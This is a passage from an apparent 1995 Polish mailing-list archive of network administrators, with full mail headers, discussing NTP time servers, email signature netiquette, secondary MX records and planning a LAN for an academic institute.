remote refid st t when poll reach delay offset disp ============================================================================== +tardis-eth-etz- err.ethz.ch 2 u 383 512 377 950.73 -5.403 54.99 #lucifer.informa .GPS. 1 u 8 256 145 1426.45 -11.167 339.83 NS.SURFNET.NL 0.0.0.0 16 - - 1024 0 0.00 0.000 16000.0 +slc1.cc.uni.tor ss10.cc.uni.tor 3 u 44 128 356 3.62 6.856 19.93 LOCAL(5) LOCAL(1) 5 l 1 64 377 0.00 0.000 200.00 +ss10.cc.uni.tor lucifer.informa 2 u 1 256 251 -33.66 -6.234 281.10 -ocelot.mat.uni. ss10.cc.uni.tor 3 u 1 128 377 -6.65 146.980 46.45 > 2)czy ktos z was tego nawet nie uzywa, ale wie gdzie sa jakies rozsadnie > bliskie ogolno dostepne time servery, bo zdaje sie, ze xntpd lubi sie komunikowac ze swiatem Lista serwerow jest w osobnym pliku w ftp://louie.udel.edu/pub/ntp . Powyzej widac jakie uzywa Inst. Matematyki UMK - nie wiem czy najlepsze mozliwe. Gdzies w dokumentacji widzialem prosbe zeby skontaktowac sie z administratorem przed podczepieniem. Zapewne ma to na celu koordynacje wiec warto napisac. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 13:46:46 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09186; Mon, 16 Jan 95 13:41:51 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA17948 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 13:27:40 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 12:22:05 GMT From: michalj@fuw.edu.pl (Michal Jankowski) Message-Id: Organization: Warsaw University, Physics Department Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501160444.AA57034@acs7.acs.ucalgary.ca>, <3fdieg$e07@galaxy.uci.agh.edu.pl> Subject: Re: Ustawianie czasu >>>>> "Szymon" == Szymon Sokol writes: Szymon> zeby uzyc .sig na 6 linijek, musialem najpierw zrobic krzywde Szymon> INN (bo nie chcial akceptowac .sig dluzszego niz 4 Szymon> linie). Albo inni uzywaja innego "news software", albo Szymon> korzystaja z polipa przez e-mail, albo zrobili to samo... :-) A moze zamiast robic komputerowi krzywde, nie umieszczac w listach podpisow na iles tam linijek? Moj adres zwrotny jest w naglowku, a jesli komus zechce podac telefon lub adres 'uliczny', to podam w tresci. A listy podpisuje, jak widac. MJ From @plearn.edu.pl,@ch.ae.poz.edu.pl:KERIK@novci2.ae.poz.edu.pl Mon Jan 16 13:50:24 1995 Received: from [148.81.18.1] by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09274; Mon, 16 Jan 95 13:46:52 +0100 Return-Path: <@plearn.edu.pl,@ch.ae.poz.edu.pl:KERIK@novci2.ae.poz.edu.pl> Received: from uci1.ae.poz.edu.pl by plearn.edu.pl (IBM VM SMTP V2R1) with TCP; Mon, 16 Jan 95 13:42:41 CET Received: from ch.ae.poz.edu.pl by uci1.ae.poz.edu.pl id aa07100; Mon, 16 Jan 95 13:35:10 CET Received: From NOVCI1/WORKQ by ch.ae.poz.edu.pl via Charon 3.4 with IPX id 100.950116133147.384; 16 Jan 95 13:32:57 +0100 Message-Id: From: Kerrrrrik Organization: Akademia Ekonomiczna, Poznan, PL To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 13:41:49 GMT-1 Subject: Re: Ustawianie czasu - nie na temat Priority: normal X-Mailer: PMail v3.0 (R1a) Mam tylko bardzo male pytanie a'propos tej przydlugiej listy: Krzysio powiedzial, ze po -- mozna reszte odciac.. Jak?? Uzywam p-mail'a. Czasami wizytowki sa zabawne i smieszne, ale tylko wtedy, gdy zawieraja w sobie cos interesujacego, a nie tylko 'gola' liste adresow.. Apropos - Krzysiu, jak masz tyle kont, to czy nie jest to troszeczke czaso- i pracochlonne codzienne ogladanie poczty na kazdym z nich? Ja jestem wygodny - kont mam kilka a poczte tylko na jednym.. Pozdrowienia Kerik (Ireneusz Wasiak) From muhlig@usctoux1.cto.us.edu.pl Mon Jan 16 14:05:27 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10376; Mon, 16 Jan 95 14:01:46 +0100 Return-Path: Received: by usctoux1.cto.us.edu.pl id aa08426; 16 Jan 95 14:05 MET Subject: sygnatura Krzysia To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 08:09:44 -0100 (MET) From: Maciek Uhlig In-Reply-To: <9501152353.AA00802@hebe.umcs.lublin.pl> from "Krzysztof Mlynarski" at Jan 16, 95 00:56:52 am X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 989 Message-Id: <9501160811.aa19328@usctoux1.cto.us.edu.pl> Krzysztof Mlynarski wrote: > > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo, > > PS. > To chyba naprawde nie jest temat tej listy... :) A jest, jest... Bo nie o to chodzi, aby odciac sobie automatycznie sig. Chodzi o to, ze etykieta sieciowa mowi, iz sig powinien miec maksimum 4 linie (moj ma 5, ale przezyjemy to do czasu, gdy bede mial okazje skrocic). Policz sobie, ile bajtow przesylaloby sie dodatkowo i zbednie przez linie, gdyby kazdy mail byl uzupelniany 1 kilobajtem sygnatury... A niektorzy (a wlasciwie wszyscy) placa za czytanie maili. Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From krzysio@hebe.umcs.lublin.pl Mon Jan 16 15:46:47 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12747; Mon, 16 Jan 95 15:45:12 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA01979; Mon, 16 Jan 95 15:47:33 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501161447.AA01979@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu - nie na temat To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 15:47:32 +0100 (MET) In-Reply-To: from "Konrad Cedro" at Jan 16, 95 03:04:52 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1880 Konrad Cedro wrote: > > > 2. Ja jeszcze wroce do starego watku z mojej poprzdniej odpowiedzi: > > - poruszajac temat mojego sig'a znow nasunales mi moje stare pytanie: > > > Dlaczego w naszym Narodzie tak bardzo jest popularne > > zajmowanie sie czyimis sprawami, zamiast swoimi wlasnymi??? > > Stale kogos interesuje, czy kolega/kolezanka ma ladne spodnie, > > fryzure, uszy :), sig'a itd.... Czesto tracimy czas i pieniadze na takie > > dyskusje zamiast zajac sie po prostu praca :) > > > -Krzysio > > Nie nudz, Krzysiu i nie wymadrzaj sie... Wszak jestes tylko Krzysiem i to > akurat brzmi adekwatnie... :) > Ciao, > > Konio ;) > A Ty jestes TYLKO Konio na dodatek nawet nigdy o Tobie nie slyszalem. Anyway... uwazam, ze czas zakonczyc te glupawa i bezproduktywna dyskusje. -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 16:05:11 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13507; Mon, 16 Jan 95 16:01:51 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA20071 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 15:50:48 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 16 Jan 1995 14:38:07 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3fe0cf$i5q@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: to MX or not to MX i jak? Co sadzicie o MXach na domene? Czy jest w ogole sens je miec, a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? sunic-owi? R. PS. Przepraszam za bledny From: ostatnio. Powinno byc lepiej. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 16:05:13 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13510; Mon, 16 Jan 95 16:01:54 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20231 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 16:01:35 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 16 Jan 1995 14:53:52 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501121556.aa28781@usctoux1.cto.us.edu.pl>, <3f5frm$dil@galaxy.uci.agh.edu.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: : : > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy : : > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK : : > : i Ministerstwo Lacznosci. : : > : Co wiecej Nask to tylko uslugodawca, place i wymagam. : I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do : sieci innego operatora). Hm... Jak sama nazwa wskazuje, NASK (Naukowo-Akademicka..) raczej nie sluzy do podlaczania wszystkich. I pewnie mialby ochote, zeby sie konkurencja znalazla, bo wtedy moglby zawsze powiedziec - nie podoba sie - to idzcie do innego. Jarek. From krzysio@hebe.umcs.lublin.pl Mon Jan 16 16:20:31 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14621; Mon, 16 Jan 95 16:19:40 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA02218; Mon, 16 Jan 95 16:21:59 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501161521.AA02218@hebe.umcs.lublin.pl> Subject: Re: sygnatura Krzysia To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 16:21:59 +0100 (MET) In-Reply-To: <9501160811.aa19328@usctoux1.cto.us.edu.pl> from "Maciek Uhlig" at Jan 16, 95 02:12:04 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 3396 Maciek Uhlig wrote: > > Krzysztof Mlynarski wrote: > > PS. > > To chyba naprawde nie jest temat tej listy... :) > > A jest, jest... Bo nie o to chodzi, aby odciac sobie automatycznie sig. > Chodzi o to, ze etykieta sieciowa mowi, iz sig powinien miec maksimum > 4 linie (moj ma 5, ale przezyjemy to do czasu, gdy bede mial okazje > skrocic). Policz sobie, ile bajtow przesylaloby sie dodatkowo i zbednie > przez linie, gdyby kazdy mail byl uzupelniany 1 kilobajtem sygnatury... > A niektorzy (a wlasciwie wszyscy) placa za czytanie maili. A gdyby wszyscy skakali w przepasc to juz by nie bylo ludzkosci.... :) A tak zupelnie powaznie: Obserwuje tlumy studentow w labach, ktorzy: - sciagaja GIF'y z tzw. golymi panienkami, - graja w MUD'y, - IRCcuja (jak wiekszosc z nas), - sciagaja pliki *.au, *aiff i inne tego typu...., - przesylaja mase roznych innych smieci siecia dla zabawy itd. Przy tym wszystkim, gdyby kazdy z nas mial sig'a o dlugosci 40 linii (tyle ma okienko, w ktorym to pisze), to i tak stanowiloby to znikomy procent obciazenia sieci w stosunku do tego, ktore powstaje w skutek dzialalnosci setek tysiecy ludzi robiacych w Internecie to, co opisani powyzej. Oprocz wymienionych... mamy jeszcze mase list dyskusyjnych o zupelnie zabawowych tematach (np. chomor-l@archimedes.pol.lublin.pl, z ktorej codziennie przychodzi kilkadziesiat - najczesciej bezsensownych i dlugich listow). A jesli chodzi o mnie prywatnie: naprawde nie naleze do osob stale wysylajacych tony e-maili na listy dyskusyjne. Glownie czytam.... :) Tak wiec i tak nie obciazam Ci mailbox'u za bardzo. Ostatnio sie ju zawiele rozpisalem, ale to tylko dlatego, ze raptem, po paru miesiacach moj SIG zaczal komus tam przeszkadzac, a inni dolaczyli sie do dyskusji, dodatkowo kopiujac ten sig wielokrotnie - a wiec zgodnie z tym co napisales takze obciazajac siec. > > Maciek Uhlig > Pozdrawiam, -Krzysio > ---------------------------------------------------------------------- > Maciej UHLIG, Computer Center, Silesian University > Uniwersytecka 4 St., 40-007 KATOWICE, POLAND > Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) > Fax: +48 (32) 596847 > ***** Imagine all the people sharing all the world (John Lennon) ***** > -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From RAJ@inf.wsp.krakow.pl Mon Jan 16 17:55:44 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17779; Mon, 16 Jan 95 17:54:25 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id RAA22262 for ; Mon, 16 Jan 1995 17:59:58 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Mon, 16 Jan 95 17:53:52 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Mon, 16 Jan 95 17:53:37 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 17:53:29 GMT+0100 Subject: Big Sig (bylo: Re: Ustawianie czasu - nie na temat) Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <19F48E24C1@inf.wsp.krakow.pl> > Date sent: Sun, 15 Jan 95 23:54:58 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Ustawianie czasu - nie na temat > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo, > gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy > wieczor. > > Pozdrawiam, > -Krzysio > Zapewne taki stary sieciowy wyjadacz jak ty nie czytuje "Big Dummy's Guide to The Internet". Niemniej jednak zachecam cie do przeczytania z ww. pozycji rozdzialiku pt. "Big Sig". Odnosi sie on w bardzo rozsadny sposob m.in. do zagadnienia, na ile twoj sig jest twoja prywatna sprawa (w koncu wysylasz go do kogos, wiec chyba chcesz, zeby ktos go czytal; skoro doradzasz innym odcinanie siga, to po co w ogole go wysylasz?) Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Mon Jan 16 18:11:49 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18698; Mon, 16 Jan 95 18:10:19 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA22476 for ; Mon, 16 Jan 1995 18:15:49 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Mon, 16 Jan 95 18:09:44 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Mon, 16 Jan 95 18:09:17 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 18:09:09 GMT+0100 Subject: Re: to MX or not to MX i jak? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <1A3767634D@inf.wsp.krakow.pl> > Date sent: Mon, 16 Jan 95 16:10:37 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) > To: sfrafa@cyf-kr.edu.pl > Subject: to MX or not to MX i jak? > Organization: OSO > Co sadzicie o MXach na domene? Czy jest w ogole sens je miec, a jezeli > tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? sunic-owi? > Sorry, ale czegos tu nie rozumiem. Na jaka domene te MX-y? Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 20:05:11 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20754; Mon, 16 Jan 95 20:01:48 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA24361 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 19:57:38 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 16 Jan 1995 18:43:02 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3feenm$t3n@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3fe0cf$i5q@Waldemar.mat.uni.torun.pl> Subject: to MX or not to MX i jak? Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie), a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? sunic-owi? R. PS. Przepraszam za bledny From: ostatnio. Powinno byc lepiej. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From myszka@norka.immt.pwr.wroc.pl Mon Jan 16 22:01:50 1995 Received: from ldhpux.immt.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA22281; Mon, 16 Jan 95 22:01:13 +0100 Return-Path: Received: from ldscoux.immt.pwr.wroc.pl by ldhpux.immt.pwr.wroc.pl with SMTP (1.36.108.7/16.2) id AA07294; Mon, 16 Jan 1995 22:04:00 +0100 Received: from norka.immt.pwr.wroc.pl by ldscoux.immt.pwr.wroc.pl id aa03185; Mon, 16 Jan 95 22:04:00 MET Received: by norka.immt.pwr.wroc.pl (UUPC/extended 1.12k); Mon, 16 Jan 1995 21:43:15 +0100 Message-Id: <2f1ada63.norka@norka.immt.pwr.wroc.pl> Date: Mon, 16 Jan 95 21:43:12 MET From: Wojciech Myszka To: polip@zsku.p.lodz.pl Subject: Re: to MX or not to MX i jak? X-Mailer: ELM [version IBM-PC v2.1 PL63] > Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs > domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie), > a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? > sunic-owi? --- Nie wiem czy dobrze zrozumialem pytanie: 1. organizujemy w swojej domenie poczte w ten sposob, ze ukrywamy nazwe hosta we wszystkich (prawie??) przesylkach wychodzacych i wybieramy jeden komputer, ktory do odbioru poczty sluzy. 2. Komputer ten wskazujemy za pomoca rekordu MX. (Zwracam uwage, ze mozna inaczej: definiujemy dla domeny rekord IN A! Tak dziala znaczna czesc poczty w Internetowym swiecie.) I teraz pytanie: czy warto (trzeba) wskazac kolejne komputery MX-y dla tej domeny? Jak rozumiem dzialanie czesci programow wysylajacych poczte, dzialaja one tak: Gdy maja one wyslac list na adres user@cos.cos.cos w pierwszej kolejnosci zadaja pytanie o rekordy MX dla cos.cos.cos, jezeli znajda szereguja w kolejnosci priorytetow, gdy priorytety sa takie same wybieraja jakas inna strategie ulozenia ich w kolejnosci; gdy rekordow MX nie ma - pytaja o rekord IN A (IN CNAME ???) (stad niektore podreczniki do binda podpowiadaja ,,bylo by bardzo milo, gdyby dla kazdego komputera, ktory bedzie odbieral poczte zdefiniowac rekord MX; zaoszczedzi to pytan do nameda''). Zatem rekord MX pozwala zalatwic dwie sprawy: skierowac poczte na wymyslony adres (np. myszka@norka.immt.pwr.wroc.pl :-) nie zwiazany z zadnym konkretnym komputerem podlaczonym do sieci na inny komputer, ktory potrafi cos z taka poczta zrobic; albo wskazac komputery, ktore poczte potrafia przetrzymac (gdy wezel odbierajacy jest niedostepny z jakichs wzgledow). Jezeli jest tak jak rozumuje - to warto wskazywac na kilka komputerow, zwalnia to bowiem nadawce poczty z obowiazku trzymania listu w kolejce przez kilka dni i przerzuca ten obowiazek na MX. Ale mo to swoj sens. A kogo wskazywac jako MX? Wszystko jedno, byle z sensem (komputer latwiej dostepny, rzadziej wylaczany...) i byle uzgodnic to z administratorem :-) Ale moze sie myle? i przepraszam za przynudzanie Wojtek -- Wojciech A. Myszka tel: (+48 71) 51-48-58 54-129 Wroclaw Drzewieckiego 18/11 From WIENCH@PLEARN.EDU.PL Mon Jan 16 22:26:50 1995 Received: from plearn.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA23126; Mon, 16 Jan 95 22:24:45 +0100 Return-Path: Message-Id: <9501162124.AA23126@zsku.p.lodz.pl> Received: from PLEARN.EDU.PL by plearn.edu.pl (IBM VM SMTP V2R1) with BSMTP id 6177; Mon, 16 Jan 95 22:26:42 CET Received: from PLEARN.EDU.PL (NJE origin WIENCH@PLEARN) by PLEARN.EDU.PL (LMail V1.2a/1.8a) with BSMTP id 8778; Mon, 16 Jan 1995 22:26:42 +0200 Date: Mon, 16 Jan 95 22:10:01 CET From: WIENCH@plearn.edu.pl Subject: Palac Staszica - jaka siec lokalna wybrac? To: polip@zsku.p.lodz.pl Dyrekcja mojego Instytutu zamierza zalozyc siec lokalna w Palacu Staszica (to jest to, co widac na starych 50.000 zl). Siec ma sluzyc Instytutowi Filozofii i Socjologii, ale byc moze takze Instytutowi Badan Literackich i innym. Lacznie moze to byc ok 100 komputerow (wszystko klony IBMa, 286, 386, pare 486 z DOSem, kilka z Windowsami. Przy tym byc moze IBL udostepni swojego SUNa sparcstation 5. Do tego caly Palac dostal centrale ISDN (na razie ISDN bedzie tylko wewnatrz po skretce telefonicznej z lat 50-tych). Do Palacu dociagnieto juz swiatlowod z Uniwersytetu, ktory ma umozliwic dostep do Internetu po zainstalowaniu bridge'a. Pytanie jest takie: jaka siec bylaby najodpowiedniejsza w tych warunkach? Dodam, ze cala zaloga jest czysto humanistyczna, na widok komputera czesc dostaje drgawek, wiec chodzi o rozwiazania przyjazne uzytkownikom. Czy mozna wykorzystac ISDN na potrzeby sieci? Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze na telnet i ftp. Bardzo odradzano mi Novella jako trudnego do pogodzenia z jakimkolwiek oprogramowaniem. Bede wdzieczny za wszelkie rady. Piotr Wiench II*****************************************II*************************II II Piotr Wiench II Internet: II II Zaklad Teorii Kultury II wiench@plearn.edu.pl II II Instytut Filozofii i Socjologii PAN II Voice:+(48)(22)265231 II II Ul. Nowy Swiat 72, PL-00-330 Warszawa II x 74 II II II Fax: +(48)(22)267181 II II*****************************************II*************************II From piotrwi Tue Jan 17 08:41:44 1995 Received: by zsku.p.lodz.pl (5.65/25-eef) id AA02571; Tue, 17 Jan 95 08:38:16 +0100 Return-Path: Date: Tue, 17 Jan 1995 08:38:13 +0100 (MEZ) From: Piotr Wilk To: polip@zsku.p.lodz.pl Subject: Re: to MX or not to MX i jak? In-Reply-To: <3feenm$t3n@Waldemar.mat.uni.torun.pl> Message-Id: Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej Address: 90-924 Lodz; ul. Stefanowskiego 18/22 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Czesc! On Mon, 16 Jan 1995, Rafal Maszkowski wrote: > Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs > domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie), > a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? > sunic-owi? Uwazam, ze tworzenie MX'ow ma sens w dwoch przypadkach: 1. ukrywanie nazwy komputera, tworzenie nieistniejacego adresu 2. w instytucjach gdzie jest 'scentralizowane' zarzadzanie siecia, przepychanie poczty przychadzacej do instytucji przez jeden komputer (ale stosowane z umiarem tzn zeby np. nie bylo sytuacji ze poczta do komputera w Lodzi idzie do niego z Lodzi przez USA ;-) ulatwia zarzadzanie siecia Natomiast stosowanie MX'ow w innych przypadkach moze powodowac klopoty dla innych uzytkownikow lub administratorow Internetu. Dwa przyklady z zycia: - lista dyskusyjna wysyla poczte do komputera przez MX. Komputer jest down. Poczta idzie do MX'a i tam czeka. Jezeli ruch na liscie jest duzy, a komputer jest down duzo dluzej niz trzy dni to postmaster na serwerze listy odbierze sobie niedostarczone listy z przynajmniej trzech dni. W swojej kolejce na pewno stojace listy zauwazylby wczesniej. Poza tym ma mozliwosc ich wywalenia z kolejki. - przypadek wysylania pilnej poczty. Uzytkownik wysyla piny list. Robi sobie mailq. Kolejka pusta. List poszedl. OK ? Nie!!! Po trzech dniach lub dluzej list do niego wraca z MX'a. Gdyby MX'a nie bylo, po godzinie sprobowalby 'konwencjonalnej' lacznosci. Jeszcze jedno: wydaje mi sie, ze gdzies czytalem (sam bym tego nie wymyslil), ze zaleta Internetu jest to, ze komunikacja (powiedzmy w warstwie TCP) nastepuje tylko miedzy komputerami, ktore biara udzial w transmisji. Wyjasnie: t.zn. wysylam poczte i ona bezposrednio idzie do komputera przeznaczenia bez posrednika. Tak jest mniejsza szansa, ze posrednik z wlasnej winy ja zgubi. Dlaczego nie korzystac z tej zalety? Czy nie lepiej, zeby poczta czekala na komputerze, ktory ja wysyla i zeby nie pokonywala pol swiata, zeby wrocic do tego samego miasta? Jakie moga byc zalety stosowania MX'ow? Pozdrawiam, Piotrek -- -------------------------------------------------------------- | Piotr Wilk | |------------------------------------------------------------| | Samodzielny Zaklad | email: | | Sieci Komputerowych | piotrwi@zsku.p.lodz.pl | | Politechniki Lodzkiej | piotrwi at plearn | -------------------------------------------------------------- From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 10:01:45 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04267; Tue, 17 Jan 95 10:01:40 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA05893 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 09:51:04 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 08:30:14 GMT From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski) Message-Id: <3ffv6m$862@galaxy.uci.agh.edu.pl> Organization: Instytut Podstawowych Problemow Techiniki Warszawa Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501121556.aa28781@usctoux1.cto.us.edu.pl>, <3f5frm$dil@galaxy.uci.agh.edu.pl>, <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl> Reply-To: ppogorze@ippt.gov.pl Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote: : piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: : : : > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy : : : > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK : : : > : i Ministerstwo Lacznosci. : : : > : : Co wiecej Nask to tylko uslugodawca, place i wymagam. : : I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do : : sieci innego operatora). : Hm... Jak sama nazwa wskazuje, NASK (Naukowo-Akademicka..) raczej nie sluzy : do 